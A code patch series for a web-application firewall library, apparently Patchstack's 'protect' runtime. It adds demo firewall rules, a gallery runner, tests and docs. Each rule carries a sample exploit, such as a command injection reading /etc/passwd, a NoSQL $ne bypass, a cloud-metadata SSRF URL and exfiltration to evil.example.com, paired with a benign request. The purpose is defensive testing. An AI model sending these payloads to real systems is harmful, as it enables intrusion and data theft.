SELECT password FROM users\"}" }, + "benign": { "method": "POST", "body": "{\"q\":\"union station cafe\"}" } + } + }, + { + "id": "demo-xss", + "title": "Reflected/stored XSS in a text field", + "category": "xss", + "rule_v2": [ + { "parameter": ["get.q", "post.comment", "post.title", "raw"], "mutations": ["urldecode", "htmlentitydecode"], "match": { "type": "regex", "value": "/ tag submitted in a comment field", + "exploit": { "method": "POST", "body": "{\"comment\":\"\"}" }, + "benign": { "method": "POST", "body": "{\"comment\":\"great write-up, thanks\"}" } + } + }, + { + "id": "demo-command-injection", + "title": "OS command injection in a host/cmd parameter", + "category": "command-injection", + "rule_v2": [ + { "parameter": ["get.host", "post.host", "get.cmd", "post.cmd"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/[;&|`$()<>]/" } } + ], + "_demo": { + "desc": "Shell metacharacters appended to a ping host parameter", + "exploit": { "method": "POST", "body": "{\"host\":\"127.0.0.1; cat /etc/passwd\"}" }, + "benign": { "method": "POST", "body": "{\"host\":\"127.0.0.1\"}" } + } + }, + { + "id": "demo-nosql-injection", + "title": "NoSQL operator injection in request body", + "category": "nosqli", + "rule_v2": [ + { "parameter": "raw", "match": { "type": "regex", "value": "/\"\\$(?:ne|gt|lt|gte|lte|where|regex|in|nin)\"\\s*:/i" } } + ], + "_demo": { + "desc": "Mongo operator ($ne) injected to bypass an equality check", + "exploit": { "method": "POST", "body": "{\"user\":{\"$ne\":null}}" }, + "benign": { "method": "POST", "body": "{\"user\":\"alice\"}" } + } + }, + { + "id": "demo-xxe", + "title": "XML external entity (XXE) in request body", + "category": "xxe", + "rule_v2": [ + { "parameter": "raw", "match": { "type": "regex", "value": "/]*SYSTEM/i" } } + ], + "_demo": { + "desc": "External DOCTYPE/ENTITY referencing a local file", + "exploit": { "method": "POST", "body": "" }, + "benign": { "method": "POST", "body": "hi" } + } + }, + { + "id": "demo-ssrf-request", + "title": "SSRF via a url parameter (request-side)", + "category": "ssrf", + "rule_v2": [ + { "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/localhost|127\\.0\\.0\\.1|169\\.254\\.169\\.254|::1|metadata\\.google/i" } } + ], + "_demo": { + "desc": "url parameter points at the cloud metadata endpoint", + "exploit": { "method": "POST", "body": "{\"url\":\"http://169.254.169.254/latest/meta-data/\"}" }, + "benign": { "method": "POST", "body": "{\"url\":\"https://example.com/logo.png\"}" } + } + }, + { + "id": "demo-resp-pii-email", + "title": "Email address leaking in response body", + "phase": "response", + "category": "pii-exposure", + "action": "redact", + "rule_v2": [ + { "parameter": "response.body", "match": { "type": "regex", "value": "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}/" } } + ], + "_demo": { + "desc": "An endpoint returns a user's email; the address is masked", + "exploit": { "body": "{\"contact\":\"alice@example.com\"}" }, + "benign": { "body": "{\"contact\":\"see profile page\"}" } + } + }, + { + "id": "demo-resp-credit-card", + "title": "Credit-card number leaking in response body", + "phase": "response", + "category": "pii-exposure", + "action": "redact", + "rule_v2": [ + { "parameter": "response.body", "match": { "type": "regex", "value": "/(?:\\d[ -]?){13,16}/" } } + ], + "_demo": { + "desc": "A 16-digit card number in the payload is masked", + "exploit": { "body": "{\"card\":\"4111 1111 1111 1111\"}" }, + "benign": { "body": "{\"orderId\":\"12345\"}" } + } + }, + { + "id": "demo-egress-blocklist-host", + "title": "Outbound request to a known exfiltration host", + "phase": "egress", + "category": "exfiltration", + "rule_v2": [ + { "parameter": "egress.host", "match": { "type": "equals", "value": "evil.example.com" } } + ], + "_demo": { + "desc": "The app tries to POST data to a blocklisted host", + "exploit": { "url": "https://evil.example.com/steal?data=1" }, + "benign": { "url": "https://api.github.com/repos" } + } + } + ], + "whitelists": [], + "whitelist_keys": {} +} diff --git a/examples/protect/demo-runner.mjs b/examples/protect/demo-runner.mjs new file mode 100644 index 0000000..4760f07 --- /dev/null +++ b/examples/protect/demo-runner.mjs @@ -0,0 +1,86 @@ +// Shared demo-bundle runner used by BOTH gallery.mjs (live demonstration) and +// tests/protect/demo-rules.test.ts (regression). Given a demo bundle (rules carrying an +// `_demo` block), it drives one exploit + one benign probe per rule through the appropriate +// phase and reports whether each rule blocked/redacted the exploit and passed the benign. +// +// Keeping the dispatch here means the gallery and the test can never drift from each other. + +const ORIGIN = 'https://demo.app'; + +function requestFrom(vec) { + const url = ORIGIN + (vec.path ?? '/'); + const method = vec.method ?? 'GET'; + const init = { method }; + if (vec.body != null && method !== 'GET' && method !== 'HEAD') { + init.headers = { 'content-type': 'application/json' }; + init.body = vec.body; + } + return new Request(url, init); +} + +/** + * @param {object} bundle a demo rule bundle ({ firewall: [...] } with `_demo` on each rule) + * @param {(opts:object)=>Promise} createProtection + * @returns {Promise>} + */ +export async function runDemoBundle(bundle, createProtection) { + // Stub the network BEFORE the egress guard wraps it, so "allowed" egress never hits the wire. + const origFetch = globalThis.fetch; + globalThis.fetch = async () => new Response('stubbed-upstream', { status: 200 }); + + const protection = await createProtection({ rules: bundle, mode: 'block', egress: true, allowHosts: [] }); + const guard = protection.fetchGuard(); + const results = []; + + const egressBlocked = async (url) => { + try { + await globalThis.fetch(url); + return false; + } catch { + return true; + } + }; + const responseRedacted = async (body) => { + const res = await protection.screenResponse( + new Response(body, { status: 200, headers: { 'content-type': 'application/json' } }), + ); + const out = await res.text(); + return out !== body; // redact masks the offending span → body changes + }; + + try { + for (const rule of bundle.firewall) { + const d = rule._demo; + if (!d) continue; + const phase = rule.phase ?? 'request'; + let exploitCaught = false; + let benignOk = false; + + if (phase === 'request') { + exploitCaught = (await guard(requestFrom(d.exploit))) !== null; + benignOk = (await guard(requestFrom(d.benign))) === null; + } else if (phase === 'response') { + exploitCaught = await responseRedacted(d.exploit.body); + benignOk = !(await responseRedacted(d.benign.body)); + } else if (phase === 'egress') { + exploitCaught = await egressBlocked(d.exploit.url); + benignOk = !(await egressBlocked(d.benign.url)); + } + + results.push({ + id: rule.id, + phase, + category: rule.category, + title: rule.title, + desc: d.desc, + exploitCaught, + benignOk, + pass: exploitCaught && benignOk, + }); + } + } finally { + protection.uninstallEgress?.(); + globalThis.fetch = origFetch; + } + return results; +} diff --git a/examples/protect/gallery.mjs b/examples/protect/gallery.mjs new file mode 100644 index 0000000..34a47b5 --- /dev/null +++ b/examples/protect/gallery.mjs @@ -0,0 +1,35 @@ +// Vulnerability GALLERY for @patchstack/connect/protect — a demo-env showcase. +// +// Loads the comprehensive demo rule set and demonstrates, one row per rule, that the exploit is +// blocked/redacted while a benign request to the same surface is allowed — across all three +// phases (request WAF / response leak / egress SSRF). Public/demo rules only; no tokens/secrets. +// +// cd examples/protect && node gallery.mjs +import { readFileSync } from 'node:fs'; +import { createProtection } from '../../src/protect/runtime.js'; +import { runDemoBundle } from './demo-runner.mjs'; + +const bundle = JSON.parse(readFileSync(new URL('./demo-rules.json', import.meta.url), 'utf8')); +const results = await runDemoBundle(bundle, createProtection); + +const PHASE_LABEL = { request: 'request (WAF)', response: 'response (leak)', egress: 'egress (SSRF)' }; +const pad = (s, n) => String(s).padEnd(n); + +console.log('\n Patchstack protect — vulnerability gallery (block mode)\n'); +let lastPhase = null; +for (const r of results) { + if (r.phase !== lastPhase) { + console.log(`\n ── ${PHASE_LABEL[r.phase] ?? r.phase} ──`); + lastPhase = r.phase; + } + const verb = r.phase === 'response' ? 'redacted' : 'blocked'; + const mark = r.pass ? '✓' : '✗'; + console.log(` ${mark} ${pad(r.category, 20)} exploit ${r.exploitCaught ? verb : 'MISSED'} · benign ${r.benignOk ? 'allowed' : 'FALSE-POSITIVE'}`); + console.log(` ${pad('', 20)} ${r.desc}`); +} + +const passed = results.filter((r) => r.pass).length; +const ok = passed === results.length; +console.log(`\n ${passed}/${results.length} demonstrations passed across ${new Set(results.map((r) => r.phase)).size} phases.`); +console.log(ok ? '\n✓ gallery complete\n' : '\n✗ some demonstrations failed\n'); +process.exit(ok ? 0 : 1); diff --git a/examples/protect/package.json b/examples/protect/package.json index 76d92c5..ee165a7 100644 --- a/examples/protect/package.json +++ b/examples/protect/package.json @@ -7,6 +7,7 @@ "lodash": "4.17.11" }, "scripts": { - "demo": "node demo.mjs" + "demo": "node demo.mjs", + "gallery": "node gallery.mjs" } } diff --git a/tests/pack-safety.test.ts b/tests/pack-safety.test.ts new file mode 100644 index 0000000..ae1cd53 --- /dev/null +++ b/tests/pack-safety.test.ts @@ -0,0 +1,37 @@ +import { describe, expect, it } from 'vitest'; +import { execFileSync } from 'node:child_process'; +import { fileURLToPath } from 'node:url'; +import path from 'node:path'; + +// The published npm tarball must NEVER contain examples/ — that folder installs a real +// vulnerable dependency (lodash@4.17.11) for the demo, and it must not reach consumers via +// `npm install`/download. This asserts what `npm pack` would actually publish, so loosening +// the package.json "files" allowlist (or dropping it) fails here instead of shipping a CVE. + +const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); + +function packedFiles(): string[] { + // --ignore-scripts: skip the prepack build (dist is already built; keeps stdout pure JSON). + const out = execFileSync('npm', ['pack', '--dry-run', '--json', '--ignore-scripts'], { + cwd: pkgRoot, + encoding: 'utf8', + }); + const parsed = JSON.parse(out) as Array<{ files: Array<{ path: string }> }>; + return parsed[0].files.map((f) => f.path); +} + +describe('npm pack safety', () => { + it('never ships examples/, field-test/, or any lodash artifact', () => { + const files = packedFiles(); + const leaked = files.filter((p) => /^(examples|field-test)\//.test(p) || /lodash/i.test(p)); + expect(leaked).toEqual([]); + }, 30_000); + + it('ships only dist/ and top-level docs (allowlist intact)', () => { + const files = packedFiles(); + const unexpected = files.filter( + (p) => !p.startsWith('dist/') && !['package.json', 'README.md', 'AGENT-INSTALL.md', 'LICENSE'].includes(p), + ); + expect(unexpected).toEqual([]); + }, 30_000); +}); diff --git a/tests/protect/demo-rules.test.ts b/tests/protect/demo-rules.test.ts new file mode 100644 index 0000000..938a87d --- /dev/null +++ b/tests/protect/demo-rules.test.ts @@ -0,0 +1,31 @@ +import { describe, expect, it } from 'vitest'; +import { readFileSync } from 'node:fs'; +import { createProtection } from '../../src/protect/runtime.js'; +import { runDemoBundle } from '../../examples/protect/demo-runner.mjs'; + +// Guarantees the shipped demo/showcase rule set (examples/protect/demo-rules.json) stays honest: +// every rule must block/redact its own exploit AND allow its benign twin. A broken demo rule +// (missed exploit or false positive) fails CI here, not in front of an audience. The gallery +// (examples/protect/gallery.mjs) demonstrates the exact same bundle through the same runner. + +const bundle = JSON.parse( + readFileSync(new URL('../../examples/protect/demo-rules.json', import.meta.url), 'utf8'), +); + +describe('demo rule set (examples/protect/demo-rules.json)', () => { + const withDemo = bundle.firewall.filter((r: any) => r._demo); + + it('has demo vectors on every rule and covers all three phases', () => { + expect(withDemo.length).toBe(bundle.firewall.length); + const phases = new Set(withDemo.map((r: any) => r.phase ?? 'request')); + expect(phases).toEqual(new Set(['request', 'response', 'egress'])); + }); + + it('every rule blocks/redacts its exploit and allows its benign', async () => { + const results = await runDemoBundle(bundle, createProtection as any); + const failures = results.filter((r) => !r.pass); + // Surface exactly which rule failed (and how) if this ever regresses. + expect(failures.map((f) => ({ id: f.id, exploitCaught: f.exploitCaught, benignOk: f.benignOk }))).toEqual([]); + expect(results.length).toBe(withDemo.length); + }); +}); From cf2f02c2a2c1374ad26682052f52cbac2ec4bbff Mon Sep 17 00:00:00 2001 From: patchstackdave <87758879+patchstackdave@users.noreply.github.com> Date: Tue, 14 Jul 2026 14:58:54 +0200 Subject: [PATCH 5/9] Update .npmignore Don't touch npmignore for field-test, outside my zone. --- .npmignore | 1 - 1 file changed, 1 deletion(-) diff --git a/.npmignore b/.npmignore index f088ebe..9bb6b21 100644 --- a/.npmignore +++ b/.npmignore @@ -11,4 +11,3 @@ coverage # a belt-and-suspenders backstop in case that allowlist is ever loosened. (tests/pack-safety # enforces the invariant.) examples -field-test From 093e46f444d19c70985ba24a0f48c875c12cae7a Mon Sep 17 00:00:00 2001 From: patchstackdave <87758879+patchstackdave@users.noreply.github.com> Date: Tue, 14 Jul 2026 14:59:31 +0200 Subject: [PATCH 6/9] Update pack-safety.test.ts Do not touch field-test. --- tests/pack-safety.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/pack-safety.test.ts b/tests/pack-safety.test.ts index ae1cd53..64461d4 100644 --- a/tests/pack-safety.test.ts +++ b/tests/pack-safety.test.ts @@ -21,9 +21,9 @@ function packedFiles(): string[] { } describe('npm pack safety', () => { - it('never ships examples/, field-test/, or any lodash artifact', () => { + it('never ships examples/ or any lodash artifact', () => { const files = packedFiles(); - const leaked = files.filter((p) => /^(examples|field-test)\//.test(p) || /lodash/i.test(p)); + const leaked = files.filter((p) => /^(examples)\//.test(p) || /lodash/i.test(p)); expect(leaked).toEqual([]); }, 30_000); From 6f1daa80301a2204783ac255f0164d230a3ba9e6 Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 14:59:33 +0200 Subject: [PATCH 7/9] docs(protect): how to load the demo rule set on a live Lovable app Document seeding the scaffolded src/integrations/patchstack/rules.json (the token-less guard fallback) with examples/protect/demo-rules.json via `patchstack-connect protect`, plus an honest what-fires-where matrix (write-path + response rows fire on a tasks app; path/cmd/SSRF need matching routes; egress needs egress:true in guard.ts). No change to the shipped CLI. Co-Authored-By: Claude Opus 4.8 --- examples/protect/README.md | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/examples/protect/README.md b/examples/protect/README.md index a15c542..eda1412 100644 --- a/examples/protect/README.md +++ b/examples/protect/README.md @@ -49,6 +49,40 @@ Each rule carries an `_demo` block (exploit + benign vector). The same bundle is whole `examples/` folder is kept out of the published npm package (`tests/pack-safety.test.ts`), so the vulnerable `lodash` the deep demo installs never reaches consumers. +## Loading the demo rules on a real Lovable app + +`patchstack-connect protect` scaffolds the runtime guard into a TanStack Start + Supabase app and +drops `src/integrations/patchstack/{guard.ts, rules.json}`. That scaffolded `rules.json` is the +**token-less fallback** the guard loads — so it's the insertion point for a demo. Seed it with this +bundle: + +```bash +# in the Lovable app +npx patchstack-connect protect # scaffold + wire the guard +cp /examples/protect/demo-rules.json \ + src/integrations/patchstack/rules.json # swap the fallback for the demo set +# leave PATCHSTACK_WAF_TOKEN UNSET so the guard uses the local rules (not the live API) +``` + +`demo-rules.json` is a drop-in `rules.json` — same `{ firewall, whitelists, whitelist_keys }` +shape; `createProtection` splits the phase-tagged rules and ignores the `_demo` blocks. The guard +blocks by default (`PATCHSTACK_MODE=dry-run` for log-only). + +**What fires where** (the guard hooks the *data path*, not arbitrary routes): + +- ✅ **prototype pollution / SQLi / XSS / NoSQL injection** in a record you write (e.g. a task + title) — caught via the Supabase tunnel + server-function arg inspection. +- ✅ **response PII / secret redaction** — masked in Supabase query results the guard forwards. +- ⚠️ **path traversal / command injection / request-side SSRF** target `get.file` / `get.host` / + `get.url`; they only fire if the app actually has such a route + parameter. +- ⚠️ **egress SSRF** is dormant unless the guard is created with `egress: true` (the scaffolded + `guard.ts` doesn't enable it by default) — for an egress demo, add `egress: true` to + `getProtection()` in the scaffolded `guard.ts`. + +For a live tasks-app demo, the reliable rows are the write-path ones (insert a task whose title is +`` → blocked) and the response redaction (store/return a value containing an +email or card number → masked). The full matrix is best shown offline via `gallery.mjs`. + ## Note on rules `rules.demo.json` holds **example rules for public CVEs only** — it is **not** the From 5cc27fb944dbb8006a4e08f66ea943ea9bd43985 Mon Sep 17 00:00:00 2001 From: Dave Jong Date: Tue, 14 Jul 2026 15:04:28 +0200 Subject: [PATCH 8/9] feat(protect): refresh the scaffold fallback rules (high-precision, block-safe) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The token-less fallback shipped a single stale placeholder rule (marked XSS, tied to a specific CVE id). Replace it with a small curated starter set that is safe to block by default — prototype pollution (structural), path traversal, internal/metadata SSRF, and XSS (` → blocked) and the response redaction (store/return a value containing an diff --git a/src/protect/templates/guard.ts b/src/protect/templates/guard.ts index 263e691..dd35819 100644 --- a/src/protect/templates/guard.ts +++ b/src/protect/templates/guard.ts @@ -5,7 +5,9 @@ // through handleGuardRequest (registered as request middleware in src/start.ts). // - browser → TanStack server function → Supabase: inspectServerFn checks the server-fn args // (registered as function middleware in src/start.ts) before anything is written. -// Either way Patchstack sees the traffic and runs the same policy. +// Either way Patchstack sees the traffic and runs the same policy. It also screens the app's own +// OUTBOUND calls for SSRF (egress: true wraps the global fetch) — blocking requests to internal / +// cloud-metadata addresses while allowing the app's own Supabase project. // // Always-on by default (blocks). Rules come from the Patchstack API per-site (cached); the // bundled rules.json is only a fallback for before a token is configured. The engine ships @@ -27,10 +29,19 @@ async function getProtection() { // Always-on: block by default. An explicit PATCHSTACK_MODE=dry-run downgrades to log-only. const mode = process.env.PATCHSTACK_MODE === "dry-run" ? "dry-run" : "block"; const token = process.env.PATCHSTACK_WAF_TOKEN; + // Egress SSRF screening: block the app's outbound calls to internal / metadata addresses, + // but never its own Supabase project. + let allowHosts: string[] = []; + try { + if (process.env.SUPABASE_URL) allowHosts = [new URL(process.env.SUPABASE_URL).host]; + } catch { + /* ignore a malformed SUPABASE_URL — just don't add an allow entry */ + } + const common = { mode, egress: true, allowHosts }; _protection = await createProtection( token - ? { token, mode, cacheDir: ".patchstack" } // live per-site rules from the Patchstack API (cached) - : { rules: fallbackRules as never, mode }, // demo fallback until a token is set + ? { ...common, token, cacheDir: ".patchstack" } // live per-site rules from the Patchstack API (cached) + : { ...common, rules: fallbackRules as never }, // demo fallback until a token is set ); } return _protection; diff --git a/tests/pack-safety.test.ts b/tests/pack-safety.test.ts index 64461d4..d59f136 100644 --- a/tests/pack-safety.test.ts +++ b/tests/pack-safety.test.ts @@ -1,37 +1,42 @@ import { describe, expect, it } from 'vitest'; -import { execFileSync } from 'node:child_process'; +import { readFileSync } from 'node:fs'; import { fileURLToPath } from 'node:url'; import path from 'node:path'; -// The published npm tarball must NEVER contain examples/ — that folder installs a real +// The published npm tarball must NEVER contain examples/ — that folder installs a REAL // vulnerable dependency (lodash@4.17.11) for the demo, and it must not reach consumers via -// `npm install`/download. This asserts what `npm pack` would actually publish, so loosening -// the package.json "files" allowlist (or dropping it) fails here instead of shipping a CVE. +// `npm install`/download. +// +// npm decides what ships from the package.json "files" allowlist (authoritative: with a strict +// allowlist, only those paths plus npm's always-included files — package.json / README / LICENSE +// — are published), with .npmignore as a backstop. We assert those inputs directly instead of +// shelling `npm pack`: the pack CLI's --json stdout format varies across npm 9/10/11 (node +// 18/20/22 in CI), so parsing it is flaky, whereas the allowlist is the ground truth npm obeys. -const pkgRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +const pkg = JSON.parse(readFileSync(path.join(root, 'package.json'), 'utf8')); +const npmignore = readFileSync(path.join(root, '.npmignore'), 'utf8') + .split(/\r?\n/) + .map((l) => l.trim()); -function packedFiles(): string[] { - // --ignore-scripts: skip the prepack build (dist is already built; keeps stdout pure JSON). - const out = execFileSync('npm', ['pack', '--dry-run', '--json', '--ignore-scripts'], { - cwd: pkgRoot, - encoding: 'utf8', +describe('npm publish safety', () => { + it('ships via a strict "files" allowlist (no catch-all that could pull in examples/)', () => { + expect(Array.isArray(pkg.files)).toBe(true); + expect(pkg.files.length).toBeGreaterThan(0); + // Reject any entry broad enough to sweep in examples/: a bare '.', a leading '/', a '*'/'**' + // glob, or an explicit examples path. With none of these, examples/ cannot be published. + for (const entry of pkg.files) { + expect(/^(\.|\/|\*|\*\*|examples)/.test(entry), `files entry "${entry}" is too broad`).toBe(false); + } }); - const parsed = JSON.parse(out) as Array<{ files: Array<{ path: string }> }>; - return parsed[0].files.map((f) => f.path); -} -describe('npm pack safety', () => { - it('never ships examples/ or any lodash artifact', () => { - const files = packedFiles(); - const leaked = files.filter((p) => /^(examples)\//.test(p) || /lodash/i.test(p)); - expect(leaked).toEqual([]); - }, 30_000); - - it('ships only dist/ and top-level docs (allowlist intact)', () => { - const files = packedFiles(); - const unexpected = files.filter( - (p) => !p.startsWith('dist/') && !['package.json', 'README.md', 'AGENT-INSTALL.md', 'LICENSE'].includes(p), - ); + it('publishes only dist/ and the top-level docs', () => { + const allowed = new Set(['dist', 'README.md', 'AGENT-INSTALL.md', 'LICENSE']); + const unexpected = pkg.files.filter((f: string) => !allowed.has(f)); expect(unexpected).toEqual([]); - }, 30_000); + }); + + it('lists examples/ in .npmignore as a backstop (in case the allowlist is ever dropped)', () => { + expect(npmignore).toContain('examples'); + }); });